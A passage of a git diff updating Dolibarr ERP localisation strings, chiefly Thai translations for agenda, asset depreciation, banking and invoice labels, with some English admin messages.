      Example: "tdoverflowmax200" +RECEPTION_PDF_HIDE_ORDERED=Hide the quantity ordered on the generated documents for receptions +MAIN_PDF_RECEPTION_DISPLAY_AMOUNT_HT=Show the price on the generated documents for receptions +WarningDisabled=Warning disabled +LimitsAndMitigation=Access limits and mitigation +DesktopsOnly=Desktops only +DesktopsAndSmartphones=Desktops et smartphones +AllowOnlineSign=Allow online signing +AllowExternalDownload=Allow external download (without login, using a shared link) +DeadlineDayVATSubmission=Deadline day for vat submission on the next month +MaxNumberOfAttachementOnForms=Max number of joinded files in a form +IfDefinedUseAValueBeetween=If defined, use a value between %s and %s +Reload=Reload +ConfirmReload=Confirm module reload +WarningModuleHasChangedLastVersionCheckParameter=Warning: the module %s has set a parameter to check its version at each page access. This is a bad and not allowed practice that may make the page to administer modules instable. Please contact author of module to fix this. +WarningModuleHasChangedSecurityCsrfParameter=Warning: the module %s has disabled the CSRF security of your instance. This action is suspect and your installation may no more be secured. Please contact the author of the module for explanation. +EMailsInGoingDesc=Incoming emails are managed by the module %s. You must enable and configure it if you need to support ingoing emails. +MAIN_IMAP_USE_PHPIMAP=Use the PHP-IMAP library for IMAP instead of native PHP IMAP. This also allows the use of an OAuth2 connection for IMAP (module OAuth must also be activated). +MAIN_CHECKBOX_LEFT_COLUMN=Show the column for field and line selection on the left (on the right by default) + +CSSPage=CSS Style diff --git a/htdocs/langs/th_TH/agenda.lang b/htdocs/langs/th_TH/agenda.lang index bb06ae7b222..65e5bc8bb09 100644 --- a/htdocs/langs/th_TH/agenda.lang +++ b/htdocs/langs/th_TH/agenda.lang @@ -4,7 +4,7 @@ Actions=เหตุการณ์ที่เกิดขึ้น Agenda=ระเบียบวาระการประชุม TMenuAgenda=ระเบียบวาระการประชุม Agendas=วาระ -LocalAgenda=Default calendar +LocalAgenda=ปฏิทินเริ่มต้น ActionsOwnedBy=เหตุการณ์ที่เป็นเจ้าของโดย ActionsOwnedByShort=เจ้าของ AffectedTo=ได้รับมอบหมายให้ @@ -12,15 +12,15 @@ Event=เหตุการณ์ Events=เหตุการณ์ที่เกิดขึ้น EventsNb=จำนวนของเหตุการณ์ที่ ListOfActions=รายการของเหตุการณ์ -EventReports=Event reports +EventReports=รายงานเหตุการณ์ Location=สถานที่ -ToUserOfGroup=Event assigned to any user in the group +ToUserOfGroup=เหตุการณ์ที่กำหนดให้กับผู้ใช้ในกลุ่ม EventOnFullDay=เหตุการณ์ทุกวัน (s) MenuToDoActions=ทุกเหตุการณ์ที่ไม่สมบูรณ์ MenuDoneActions=เหตุการณ์ยกเลิกทั้งหมด MenuToDoMyActions=เหตุการณ์ที่ไม่สมบูรณ์ของฉัน MenuDoneMyActions=เหตุการณ์สิ้นสุดของฉัน -ListOfEvents=List of events (default calendar) +ListOfEvents=รายการกิจกรรม (ปฏิทินเริ่มต้น) ActionsAskedBy=เหตุการณ์รายงานโดย ActionsToDoBy=เหตุการณ์ที่เกิดขึ้นได้รับมอบหมายให้ ActionsDoneBy=เหตุการณ์กระทำโดย @@ -29,51 +29,55 @@ ViewCal=มุมมองรายเดือน ViewDay=มุมมองรายวัน ViewWeek=มุมมองสัปดาห์ ViewPerUser=ต่อมุมมองของผู้ใช้ -ViewPerType=Per type view +ViewPerType=มุมมองต่อประเภท AutoActions= บรรจุอัตโนมัติ -AgendaAutoActionDesc= Here you may define events which you want Dolibarr to create automatically in Agenda. If nothing is checked, only manual actions will be included in logs and displayed in Agenda. Automatic tracking of business actions done on objects (validation, status change) will not be saved. -AgendaSetupOtherDesc= This page provides options to allow the export of your Dolibarr events into an external calendar (Thunderbird, Google Calendar etc...) +AgendaAutoActionDesc= ที่นี่คุณสามารถกำหนดเหตุการณ์ที่คุณต้องการให้ Dolibarr สร้างโดยอัตโนมัติในวาระการประชุม หากไม่มีการตรวจสอบ เฉพาะการดำเนินการด้วยตนเองเท่านั้นที่จะรวมอยู่ในบันทึกและแสดงในวาระการประชุม การติดตามการดำเนินการทางธุรกิจที่ทำบนวัตถุโดยอัตโนมัติ (การตรวจสอบความถูกต้อง การเปลี่ยนสถานะ) จะไม่ถูกบันทึก +AgendaSetupOtherDesc= หน้านี้มีตัวเลือกในการอนุญาตให้ส่งออกกิจกรรม Dolibarr ของคุณไปยังปฏิทินภายนอก (Thunderbird, Google Calendar ฯลฯ...) AgendaExtSitesDesc=หน้านี้จะช่วยให้การประกาศแหล่งภายนอกของปฏิทินเพื่อดูกิจกรรมของพวกเขาเข้าสู่วาระการประชุม Dolibarr ActionsEvents=กิจกรรมสำหรับ Dolibarr ซึ่งจะสร้างการดำเนินการในวาระการประชุมโดยอัตโนมัติ -EventRemindersByEmailNotEnabled=Event reminders by email was not enabled into %s module setup. +EventRemindersByEmailNotEnabled=ไม่ได้เปิดใช้งานการแจ้งเตือนกิจกรรมทางอีเมล %s การตั้งค่าโมดูล ##### Agenda event labels ##### -NewCompanyToDolibarr=Third party %s created -COMPANY_MODIFYInDolibarr=Third party %s modified -COMPANY_DELETEInDolibarr=Third party %s deleted -ContractValidatedInDolibarr=สัญญา% ผ่านการตรวจสอบ -CONTRACT_DELETEInDolibarr=Contract %s deleted -PropalClosedSignedInDolibarr=ข้อเสนอ% s ลงนาม -PropalClosedRefusedInDolibarr=ข้อเสนอ% s ปฏิเสธ -PropalValidatedInDolibarr=s% ข้อเสนอการตรวจสอบ -PropalClassifiedBilledInDolibarr=ข้อเสนอ% s แยกการเรียกเก็บเงิน -InvoiceValidatedInDolibarr=ใบแจ้งหนี้% s ตรวจสอบ -InvoiceValidatedInDolibarrFromPos=s% การตรวจสอบใบแจ้งหนี้จาก POS -InvoiceBackToDraftInDolibarr=ใบแจ้งหนี้% s กลับไปที่ร่างสถานะ -InvoiceDeleteDolibarr=ใบแจ้งหนี้% s ลบ -InvoicePaidInDolibarr=ใบแจ้งหนี้% s เปลี่ยนไปจ่าย -InvoiceCanceledInDolibarr=ใบแจ้งหนี้% s ยกเลิก -MemberValidatedInDolibarr=สมาชิก s% ผ่านการตรวจสอบ -MemberModifiedInDolibarr=Member %s modified -MemberResiliatedInDolibarr=Member %s terminated -MemberDeletedInDolibarr=สมาชิก s% ลบ +NewCompanyToDolibarr= สร้าง %s โดยบุคคลที่สาม +COMPANY_MODIFYInDolibarr= แก้ไข %s โดยบุคคลที่สาม +COMPANY_DELETEInDolibarr=ลบ %s โดยบุคคลที่สาม +ContractValidatedInDolibarr=สัญญา %s ตรวจสอบแล้ว +CONTRACT_DELETEInDolibarr=สัญญา %s ลบแล้ว +PropalClosedSignedInDolibarr=ข้อเสนอ %s ลงนามแล้ว +PropalClosedRefusedInDolibarr=ข้อเสนอ %s ที่ปฏิเสธ +PropalValidatedInDolibarr=ข้อเสนอ %sที่ตรวจสอบแล้ว +PropalBackToDraftInDolibarr=ข้อเสนอ %s กลับไปเป็นสถานะแบบร่าง +PropalClassifiedBilledInDolibarr=ข้อเสนอ %s จัดประเภทเรียกเก็บเงิน +InvoiceValidatedInDolibarr=ใบแจ้งหนี้ %s ตรวจสอบแล้ว +InvoiceValidatedInDolibarrFromPos=ใบแจ้งหนี้ %s ตรวจสอบจาก POS +InvoiceBackToDraftInDolibarr=ใบแจ้งหนี้ %s กลับสถานะไปเป็นแบบร่าง +InvoiceDeleteDolibarr=ใบแจ้งหนี้ %s ที่ลบแล้ว +InvoicePaidInDolibarr=ใบแจ้งหนี้ %s เป็นเป็นจ่ายแล้ว +InvoiceCanceledInDolibarr=ใบแจ้งหนี้ %s ยกเลิกแล้ว +MemberValidatedInDolibarr=สมาชิก %s ที่ตรวจสอบ +MemberModifiedInDolibarr=สมาชิก %s แก้ไขแล้ว +MemberResiliatedInDolibarr=สมาชิก %s ถูกยกเลิก +MemberDeletedInDolibarr=สมาชิก %s ลบแล้ว +MemberExcludedInDolibarr=สมาชิก %s ไม่รวม MemberSubscriptionAddedInDolibarr=Subscription %s for member %s added MemberSubscriptionModifiedInDolibarr=Subscription %s for member %s modified MemberSubscriptionDeletedInDolibarr=Subscription %s for member %s deleted -ShipmentValidatedInDolibarr=% s การตรวจสอบการจัดส่ง +ShipmentValidatedInDolibarr=การจัดส่ง %s ตรวจสอบแล้ว ShipmentClassifyClosedInDolibarr=Shipment %s classified billed ShipmentUnClassifyCloseddInDolibarr=Shipment %s classified re-open ShipmentBackToDraftInDolibarr=Shipment %s go back to draft status -ShipmentDeletedInDolibarr=% s การจัดส่งที่ถูกลบ +ShipmentDeletedInDolibarr=การจัดส่ง %s ที่ลบแล้ว ShipmentCanceledInDolibarr=Shipment %s canceled ReceptionValidatedInDolibarr=Reception %s validated +ReceptionDeletedInDolibarr=Reception %s deleted +ReceptionClassifyClosedInDolibarr=Reception %s classified closed OrderCreatedInDolibarr=Order %s created -OrderValidatedInDolibarr=สั่งซื้อ% s ตรวจสอบ -OrderDeliveredInDolibarr=สั่งซื้อ% s แยกส่ง -OrderCanceledInDolibarr=สั่งซื้อ% s ยกเลิก -OrderBilledInDolibarr=สั่งซื้อ% s แยกการเรียกเก็บเงิน -OrderApprovedInDolibarr=s% สั่งซื้อได้รับการอนุมัติ -OrderRefusedInDolibarr=สั่งซื้อ% s ปฏิเสธ -OrderBackToDraftInDolibarr=สั่งซื้อ% s กลับไปที่ร่างสถานะ +OrderValidatedInDolibarr=ใบสั่งซื้อ %s ที่ตรวจสอบแล้ว +OrderDeliveredInDolibarr=ใบสั่งซื้อ %s จัดประเภทจัดส่ง +OrderCanceledInDolibarr=ใบสั่งซื้อ %s ที่ยกเลิก +OrderBilledInDolibarr=ใบสั่งซื้อ %s จัดประเภทเรียกเก็บเงิน +OrderApprovedInDolibarr=ใบสั่งซื้อ %s ได้รับการอนุมัติ +OrderRefusedInDolibarr=ใบสั่งซื้อ %s ปฏิเสธ +OrderBackToDraftInDolibarr=ใบสั่งซื้อ %s กลับสถานะไปเป็นแบบร่าง ProposalSentByEMail=Commercial proposal %s sent by email ContractSentByEMail=Contract %s sent by email OrderSentByEMail=Sales order %s sent by email @@ -82,8 +86,9 @@ SupplierOrderSentByEMail=Purchase order %s sent by email ORDER_SUPPLIER_DELETEInDolibarr=Purchase order %s deleted SupplierInvoiceSentByEMail=Vendor invoice %s sent by email ShippingSentByEMail=Shipment %s sent by email -ShippingValidated= % s การตรวจสอบการจัดส่ง +ShippingValidated= การจัดส่ง %s ตรวจสอบแล้ว InterventionSentByEMail=Intervention %s sent by email +ProjectSentByEMail=Project %s sent by email ProposalDeleted=Proposal deleted OrderDeleted=Order deleted InvoiceDeleted=Invoice deleted @@ -104,7 +109,7 @@ EXPENSE_REPORT_VALIDATEInDolibarr=Expense report %s validated EXPENSE_REPORT_APPROVEInDolibarr=Expense report %s approved EXPENSE_REPORT_DELETEInDolibarr=Expense report %s deleted EXPENSE_REPORT_REFUSEDInDolibarr=Expense report %s refused -PROJECT_CREATEInDolibarr=โครงการสร้าง% s +PROJECT_CREATEInDolibarr=โปรเจ็ค %s สร้างแล้ว PROJECT_MODIFYInDolibarr=Project %s modified PROJECT_DELETEInDolibarr=Project %s deleted TICKET_CREATEInDolibarr=Ticket %s created @@ -128,7 +133,7 @@ AgendaModelModule=Document templates for event DateActionStart=วันที่เริ่มต้น DateActionEnd=วันที่สิ้นสุด AgendaUrlOptions1=นอกจากนี้คุณยังสามารถเพิ่มพารามิเตอร์ต่อไปนี้เพื่อกรองเอาท์พุท: -AgendaUrlOptions3=Logina =% s ​​ที่จะ จำกัด การส่งออกไปยังการดำเนินการที่เป็นเจ้าของโดยผู้ใช้% s +AgendaUrlOptions3=เข้าสู่ระบบ=%s เพื่อจำกัดเอาต์พุตให้เป็นการกระทำที่ผู้ใช้เป็นเจ้าของ %s. AgendaUrlOptionsNotAdmin=logina=!%s to restrict output to actions not owned by user %s. AgendaUrlOptions4=logint=%s to restrict output to actions assigned to user %s (owner and others). AgendaUrlOptionsProject=project=__PROJECT_ID__ to restrict output to actions linked to project __PROJECT_ID__. @@ -156,7 +161,8 @@ ActionType=ประเภทเหตุการณ์ DateActionBegin=วันที่เริ่มต้นเหตุการณ์ ConfirmCloneEvent=Are you sure you want to clone the event %s? RepeatEvent=เหตุการณ์ซ้ำ -OnceOnly=Once only +OnceOnly=ครั้งเดียว +EveryDay=ทุกวัน EveryWeek=ทุกสัปดาห์ EveryMonth=ทุกเดือน DayOfMonth=วันของเดือน @@ -171,4 +177,6 @@ ReminderType=Callback type AddReminder=Create an automatic reminder notification for this event ErrorReminderActionCommCreation=Error creating the reminder notification for this event BrowserPush=Browser Popup Notification +Reminders=Reminders ActiveByDefault=Enabled by default +Until=until diff --git a/htdocs/langs/th_TH/assets.lang b/htdocs/langs/th_TH/assets.lang index 812e3126d7a..b5d16f51875 100644 --- a/htdocs/langs/th_TH/assets.lang +++ b/htdocs/langs/th_TH/assets.lang @@ -1,4 +1,4 @@ -# Copyright (C) 2018 Alexandre Spangaro +# Copyright (C) 2018-2022 Alexandre Spangaro # # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by @@ -16,50 +16,171 @@ # # Generic # -Assets = Assets -NewAsset = New asset -AccountancyCodeAsset = Accounting code (asset) -AccountancyCodeDepreciationAsset = Accounting code (depreciation asset account) -AccountancyCodeDepreciationExpense = Accounting code (depreciation expense account) -NewAssetType=New asset type -AssetsTypeSetup=Asset type setup -AssetTypeModified=Asset type modified -AssetType=Asset type +NewAsset=New asset +AccountancyCodeAsset=Accounting code (asset) +AccountancyCodeDepreciationAsset=Accounting code (depreciation asset account) +AccountancyCodeDepreciationExpense=Accounting code (depreciation expense account) AssetsLines=Assets DeleteType=ลบ -DeleteAnAssetType=Delete an asset type -ConfirmDeleteAssetType=Are you sure you want to delete this asset type? -ShowTypeCard=แสดงชนิด '% s' +DeleteAnAssetType=Delete an asset model +ConfirmDeleteAssetType=Are you sure you want to delete this asset model? +ShowTypeCard=Show model '%s' # Module label 'ModuleAssetsName' -ModuleAssetsName = Assets +ModuleAssetsName=Assets # Module description 'ModuleAssetsDesc' -ModuleAssetsDesc = Assets description +ModuleAssetsDesc=Assets description # # Admin page # -AssetsSetup = Assets setup -Settings = Settings -AssetsSetupPage = Assets setup page -ExtraFieldsAssetsType = Complementary attributes (Asset type) -AssetsType=Asset type -AssetsTypeId=Asset type id -AssetsTypeLabel=Asset type label -AssetsTypes=Assets types +AssetSetup=Assets setup +AssetSetupPage=Assets setup page +ExtraFieldsAssetModel=Complementary attributes (Asset's model) + +AssetsType=Asset model +AssetsTypeId=Asset model id +AssetsTypeLabel=Asset model label +AssetsTypes=Assets models +ASSET_ACCOUNTANCY_CATEGORY=Fixed asset accounting group # # Menu # -MenuAssets = Assets -MenuNewAsset = New asset -MenuTypeAssets = Type assets -MenuListAssets = รายการ -MenuNewTypeAssets = ใหม่ -MenuListTypeAssets = รายการ +MenuAssets=Assets +MenuNewAsset=New asset +MenuAssetModels=Model assets +MenuListAssets=รายการ +MenuNewAssetModel=New asset's model +MenuListAssetModels=รายการ # # Module # -NewAssetType=New asset type -NewAsset=New asset +ConfirmDeleteAsset=Do you really want to remove this asset? + +# +# Tab +# +AssetDepreciationOptions=Depreciation options +AssetAccountancyCodes=บัญชีการบัญชี +AssetDepreciation=Depreciation + +# +# Asset +# +Asset=Asset +Assets=Assets +AssetReversalAmountHT=Reversal amount (without taxes) +AssetAcquisitionValueHT=Acquisition amount (without taxes) +AssetRecoveredVAT=Recovered VAT +AssetReversalDate=Reversal date +AssetDateAcquisition=Acquisition date +AssetDateStart=Date of start-up +AssetAcquisitionType=Type of acquisition +AssetAcquisitionTypeNew=ใหม่ +AssetAcquisitionTypeOccasion=Used +AssetType=Type of asset +AssetTypeIntangible=Intangible +AssetTypeTangible=Tangible +AssetTypeInProgress=In progress +AssetTypeFinancial=Financial +AssetNotDepreciated=Not depreciated +AssetDisposal=Disposal +AssetConfirmDisposalAsk=Are you sure you want to dispose of the asset %s? +AssetConfirmReOpenAsk=Are you sure you want to reopen the asset %s? + +# +# Asset status +# +AssetInProgress=In progress +AssetDisposed=Disposed +AssetRecorded=Accounted + +# +# Asset disposal +# +AssetDisposalDate=Date of disposal +AssetDisposalAmount=Disposal value +AssetDisposalType=Type of disposal +AssetDisposalDepreciated=Depreciate the year of transfer +AssetDisposalSubjectToVat=Disposal subject to VAT + +# +# Asset model +# +AssetModel=Asset's model +AssetModels=Asset's models + +# +# Asset depreciation options +# +AssetDepreciationOptionEconomic=Economic depreciation +AssetDepreciationOptionAcceleratedDepreciation=Accelerated depreciation (tax) +AssetDepreciationOptionDepreciationType=Depreciation type +AssetDepreciationOptionDepreciationTypeLinear=Linear +AssetDepreciationOptionDepreciationTypeDegressive=Degressive +AssetDepreciationOptionDepreciationTypeExceptional=Exceptional +AssetDepreciationOptionDegressiveRate=Degressive rate +AssetDepreciationOptionAcceleratedDepreciation=Accelerated depreciation (tax) +AssetDepreciationOptionDuration=ระยะเวลา +AssetDepreciationOptionDurationType=Type duration +AssetDepreciationOptionDurationTypeAnnual=Annual +AssetDepreciationOptionDurationTypeMonthly=Monthly +AssetDepreciationOptionDurationTypeDaily=Daily +AssetDepreciationOptionRate=Rate (%%) +AssetDepreciationOptionAmountBaseDepreciationHT=Depreciation base (excl. VAT) +AssetDepreciationOptionAmountBaseDeductibleHT=Deductible base (excl. VAT) +AssetDepreciationOptionTotalAmountLastDepreciationHT=Total amount last depreciation (excl. VAT) + +# +# Asset accountancy codes +# +AssetAccountancyCodeDepreciationEconomic=Economic depreciation +AssetAccountancyCodeAsset=Asset +AssetAccountancyCodeDepreciationAsset=Depreciation +AssetAccountancyCodeDepreciationExpense=Depreciation expense +AssetAccountancyCodeValueAssetSold=Value of asset disposed +AssetAccountancyCodeReceivableOnAssignment=Receivable on disposal +AssetAccountancyCodeProceedsFromSales=Proceeds from disposal +AssetAccountancyCodeVatCollected=Collected VAT +AssetAccountancyCodeVatDeductible=Recovered VAT on assets +AssetAccountancyCodeDepreciationAcceleratedDepreciation=Accelerated depreciation (tax) +AssetAccountancyCodeAcceleratedDepreciation=บัญชี +AssetAccountancyCodeEndowmentAcceleratedDepreciation=Depreciation expense +AssetAccountancyCodeProvisionAcceleratedDepreciation=Repossession/Provision + +# +# Asset depreciation +# +AssetBaseDepreciationHT=Depreciation basis (excl. VAT) +AssetDepreciationBeginDate=Start of depreciation on +AssetDepreciationDuration=ระยะเวลา +AssetDepreciationRate=Rate (%%) +AssetDepreciationDate=Depreciation date +AssetDepreciationHT=Depreciation (excl. VAT) +AssetCumulativeDepreciationHT=Cumulative depreciation (excl. VAT) +AssetResidualHT=Residual value (excl. VAT) +AssetDispatchedInBookkeeping=Depreciation recorded +AssetFutureDepreciationLine=Future depreciation +AssetDepreciationReversal=Reversal + +# +# Errors +# +AssetErrorAssetOrAssetModelIDNotProvide=Id of the asset or the model sound has not been provided +AssetErrorFetchAccountancyCodesForMode=Error when retrieving the accounting accounts for the '%s' depreciation mode +AssetErrorDeleteAccountancyCodesForMode=Error when deleting accounting accounts from the '%s' depreciation mode +AssetErrorInsertAccountancyCodesForMode=Error when inserting the accounting accounts of the depreciation mode '%s' +AssetErrorFetchDepreciationOptionsForMode=Error when retrieving options for the '%s' depreciation mode +AssetErrorDeleteDepreciationOptionsForMode=Error when deleting the '%s' depreciation mode options +AssetErrorInsertDepreciationOptionsForMode=Error when inserting the '%s' depreciation mode options +AssetErrorFetchDepreciationLines=Error when retrieving recorded depreciation lines +AssetErrorClearDepreciationLines=Error when purging recorded depreciation lines (reversal and future) +AssetErrorAddDepreciationLine=Error when adding a depreciation line +AssetErrorCalculationDepreciationLines=Error when calculating the depreciation lines (recovery and future) +AssetErrorReversalDateNotProvidedForMode=The reversal date is not provided for the '%s' depreciation method +AssetErrorReversalDateNotGreaterThanCurrentBeginFiscalDateForMode=The reversal date must be greater than or equal to the beginning of the current fiscal year for the '%s' depreciation method +AssetErrorReversalAmountNotProvidedForMode=The reversal amount is not provided for the depreciation mode '%s'. +AssetErrorFetchCumulativeDepreciation=Error when retrieving the accumulated depreciation amount from the depreciation line +AssetErrorSetLastCumulativeDepreciation=Error when recording the last accumulated depreciation amount diff --git a/htdocs/langs/th_TH/banks.lang b/htdocs/langs/th_TH/banks.lang index b0fea7ef5ad..83510f9d8ce 100644 --- a/htdocs/langs/th_TH/banks.lang +++ b/htdocs/langs/th_TH/banks.lang @@ -49,6 +49,9 @@ BankAccountDomiciliation=Bank address BankAccountCountry=ประเทศบัญชี BankAccountOwner=ชื่อเจ้าของบัญชี BankAccountOwnerAddress=ที่อยู่เจ้าของบัญชี +BankAccountOwnerZip=Account owner zip +BankAccountOwnerTown=Account owner town +BankAccountOwnerCountry=Account owner country CreateAccount=สร้างบัญชี NewBankAccount=บัญชีใหม่ NewFinancialAccount=บัญชีทางการเงินใหม่ @@ -95,11 +98,11 @@ LineRecord=การซื้อขาย AddBankRecord=Add entry AddBankRecordLong=Add entry manually Conciliated=Reconciled -ConciliatedBy=โดยคืนดี +ReConciliedBy=โดยคืนดี DateConciliating=วันที่ตกลงกัน BankLineConciliated=Entry reconciled with bank receipt -Reconciled=Reconciled -NotReconciled=Not reconciled +BankLineReconciled=Reconciled +BankLineNotReconciled=Not reconciled CustomerInvoicePayment=การชำระเงินของลูกค้า SupplierInvoicePayment=Vendor payment SubscriptionPayment=การชำระเงินการสมัครสมาชิก @@ -111,7 +114,7 @@ MenuBankInternalTransfer=Internal transfer TransferDesc=Use internal transfer to transfer from one account to another, the application will write two records: a debit in the source account and a credit in the target account. The same amount, label and date will be used for this transaction. TransferFrom=จาก TransferTo=ไปยัง -TransferFromToDone=การถ่ายโอนจาก% s% s% s% s ได้รับการบันทึก +TransferFromToDone=การโอนจาก %s ไปยัง %s ของ %s %s ได้รับการบันทึกแล้ว CheckTransmitter=ผู้ส่ง ValidateCheckReceipt=Validate this check receipt? ConfirmValidateCheckReceipt=Are you sure that you want to submit this check receipt for validation? No changes will be possible once validated. @@ -172,8 +175,8 @@ SEPAMandate=SEPA mandate YourSEPAMandate=Your SEPA mandate FindYourSEPAMandate=This is your SEPA mandate to authorize our company to make direct debit order to your bank. Return it signed (scan of the signed document) or send it by mail to AutoReportLastAccountStatement=Automatically fill the field 'number of bank statement' with last statement number when making reconciliation -CashControl=POS cash desk control -NewCashFence=New cash desk opening or closing +CashControl=POS cash control +NewCashFence=New cash control (opening or closing) BankColorizeMovement=Colorize movements BankColorizeMovementDesc=If this function is enable, you can choose specific background color for debit or credit movements BankColorizeMovementName1=Background color for debit movement @@ -182,3 +185,6 @@ IfYouDontReconcileDisableProperty=If you don't make the bank reconciliations on NoBankAccountDefined=No bank account defined NoRecordFoundIBankcAccount=No record found in bank account. Commonly, this occurs when a record has been deleted manually from the list of transaction in the bank account (for example during a reconciliation of the bank account). Another reason is that the payment was recorded when the module "%s" was disabled. AlreadyOneBankAccount=Already one bank account defined +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformation=SEPA transfer: 'Payment Type' at 'Credit Transfer' level +SEPAXMLPlacePaymentTypeInformationInCreditTransfertransactionInformationHelp=When generatin a SEPA XML file for Credit transfers, the section "PaymentTypeInformation" can now be placed inside the "CreditTransferTransactionInformation" section (instead of "Payment" section). We strongly recommend to keep this unchecked to place PaymentTypeInformation at Payment level, as all banks will not necessarily accept it at CreditTransferTransactionInformation level. Contact your bank before placing PaymentTypeInformation at CreditTransferTransactionInformation level. +ToCreateRelatedRecordIntoBank=To create missing related bank record diff --git a/htdocs/langs/th_TH/bills.lang b/htdocs/langs/th_TH/bills.lang index bb9e2954087..8eb7dd01471 100644 --- a/htdocs/langs/th_TH/bills.lang +++ b/htdocs/langs/th_TH/bills.lang @@ -13,10 +13,12 @@ BillsStatistics=สถิติใบแจ้งหนี้ลูกค้า BillsStatisticsSuppliers=Vendors invoices statistics DisabledBecauseDispatchedInBookkeeping=Disabled because invoice was dispatched into bookkeeping DisabledBecauseNotLastInvoice=Disabled because invoice is not erasable. Some invoices were recorded after this one and it will create holes in the counter. +DisabledBecauseNotLastSituationInvoice=Disabled because invoice is not erasable. This invoice is not the last one in situation invoice cycle. DisabledBecauseNotErasable=Disabled because cannot be erased InvoiceStandard=ใบแจ้งหนี้มาตรฐาน InvoiceStandardAsk=ใบแจ้งหนี้มาตรฐาน InvoiceStandardDesc=ชนิดของใบแจ้งหนี้นี้เป็นใบแจ้งหนี้ที่พบบ่อย +InvoiceStandardShort=Standard InvoiceDeposit=Down payment invoice InvoiceDepositAsk=Down payment invoice InvoiceDepositDesc=This kind of invoice is done when a down payment has been received. @@ -24,6 +26,7 @@ InvoiceProForma=ใบแจ้งหนี้ Proforma InvoiceProFormaAsk=ใบแจ้งหนี้ Proforma InvoiceProFormaDesc=ใบแจ้งหนี้ Proforma คือภาพของใบแจ้งหนี้ที่แท้จริง แต่มีค่าไม่มีบัญชี InvoiceReplacement=เปลี่ยนใบแจ้งหนี้ +InvoiceReplacementShort=Replacement InvoiceReplacementAsk=ใบแจ้งหนี้แทนใบแจ้งหนี้ InvoiceReplacementDesc=Replacement invoice is used to completely replace an invoice with no payment already received.

      Note: Only invoices with no payment on it can be replaced. If the invoice you replace is not yet closed, it will be automatically closed to 'abandoned'. InvoiceAvoir=ใบลดหนี้ @@ -32,13 +35,13 @@ InvoiceAvoirDesc=The credit note is a negative invoice used to correct th invoiceAvoirWithLines=สร้างหมายเหตุเครดิตที่มีเส้นใบแจ้งหนี้จากแหล่งกำเนิด invoiceAvoirWithPaymentRestAmount=สร้างหนี้ที่ค้างชำระที่เหลืออยู่กับใบแจ้งหนี้ต้นกำเนิด invoiceAvoirLineWithPaymentRestAmount=หมายเหตุเครดิตสำหรับจำนวนเงินที่เหลือยังไม่ได้ชำระ -ReplaceInvoice=เปลี่ยนใบแจ้งหนี้% s +ReplaceInvoice=เปลี่ยนใบแจ้งหนี้ %s ReplacementInvoice=เปลี่ยนใบแจ้งหนี้ -ReplacedByInvoice=ถูกแทนที่ด้วยใบแจ้งหนี้% s +ReplacedByInvoice=ถูกแทนที่ด้วยใบแจ้งหนี้ %s ReplacementByInvoice=ถูกแทนที่ด้วยใบแจ้งหนี้ -CorrectInvoice=ใบแจ้งหนี้% s ที่ถูกต้อง -CorrectionInvoice=ใบแจ้งหนี้การแก้ไข -UsedByInvoice=ใช้ในการจ่ายใบแจ้งหนี้% s +CorrectInvoice=ใบแจ้งหนี้ที่ถูกต้อง %s +CorrectionInvoice=การแก้ไขใบแจ้งหนี้ +UsedByInvoice=ใช้ชำระใบแจ้งหนี้ %s ConsumedBy=บริโภคโดย NotConsumed=บริโภคไม่ได้ NoReplacableInvoice=No replaceable invoices @@ -76,7 +79,7 @@ ReceivedPayments=การชำระเงินที่ได้รับ ReceivedCustomersPayments=การชำระเงินที่ได้รับจากลูกค้า PayedSuppliersPayments=Payments paid to vendors ReceivedCustomersPaymentsToValid=การชำระเงินของลูกค้าที่ได้รับการตรวจสอบ -PaymentsReportsForYear=รายงานการชำระเงินสำหรับ% s +PaymentsReportsForYear=รายงานการชำระเงินสำหรับ%s PaymentsReports=รายงานการชำระเงิน PaymentsAlreadyDone=การชำระเงินที่ทำมาแล้ว PaymentsBackAlreadyDone=Refunds already done @@ -149,15 +152,17 @@ PaymentStatusToValidShort=ในการตรวจสอบ ErrorVATIntraNotConfigured=Intra-Community VAT number not yet defined ErrorNoPaiementModeConfigured=No default payment type defined. Go to Invoice module setup to fix this. ErrorCreateBankAccount=Create a bank account, then go to Setup panel of Invoice module to define payment types -ErrorBillNotFound=ใบแจ้งหนี้% s ไม่ได้อยู่ +ErrorBillNotFound=ใบแจ้งหนี้ %s ไม่พบข้อมูล ErrorInvoiceAlreadyReplaced=Error, you tried to validate an invoice to replace invoice %s. But this one has already been replaced by invoice %s. ErrorDiscountAlreadyUsed=ข้อผิดพลาดลดที่ใช้แล้ว ErrorInvoiceAvoirMustBeNegative=ข้อผิดพลาดในใบแจ้งหนี้ที่ถูกต้องจะต้องมีมูลค่าติดลบ ErrorInvoiceOfThisTypeMustBePositive=Error, this type of invoice must have an amount excluding tax positive (or null) ErrorCantCancelIfReplacementInvoiceNotValidated=ข้อผิดพลาดที่ไม่สามารถยกเลิกใบแจ้งหนี้ที่ได้รับการแทนที่ด้วยใบแจ้งหนี้อื่นที่ยังคงอยู่ในสถานะร่าง ErrorThisPartOrAnotherIsAlreadyUsedSoDiscountSerieCantBeRemoved=This part or another is already used so discount series cannot be removed. +ErrorInvoiceIsNotLastOfSameType=Error: The date of invoice %s is %s. It must be posterior or equal to last date for same type invoices (%s). Please change the invoice date. BillFrom=จาก BillTo=ไปยัง +ShippingTo=Shipping to ActionsOnBill=การดำเนินการในใบแจ้งหนี้ RecurringInvoiceTemplate=Template / Recurring invoice NoQualifiedRecurringInvoiceTemplateFound=No recurring template invoice qualified for generation. @@ -188,8 +193,8 @@ ConfirmClassifyPaidPartially=Are you sure you want to change invoice %s t ConfirmClassifyPaidPartiallyQuestion=This invoice has not been paid completely. What is the reason for closing this invoice? ConfirmClassifyPaidPartiallyReasonAvoir=Remaining unpaid (%s %s) is a discount granted because payment was made before term. I regularize the VAT with a credit note. ConfirmClassifyPaidPartiallyReasonDiscount=Remaining unpaid (%s %s) is a discount granted because payment was made before term. -ConfirmClassifyPaidPartiallyReasonDiscountNoVat=ที่เหลือยังไม่ได้ชำระ (% s% s) เป็นส่วนลดได้รับเนื่องจากการชำระเงินก่อนที่จะถูกสร้างขึ้นมาในระยะ ฉันยอมรับที่จะสูญเสียภาษีมูลค่าเพิ่มในส่วนลดนี้ -ConfirmClassifyPaidPartiallyReasonDiscountVat=ที่เหลือยังไม่ได้ชำระ (% s% s) เป็นส่วนลดได้รับเนื่องจากการชำระเงินก่อนที่จะถูกสร้างขึ้นมาในระยะ 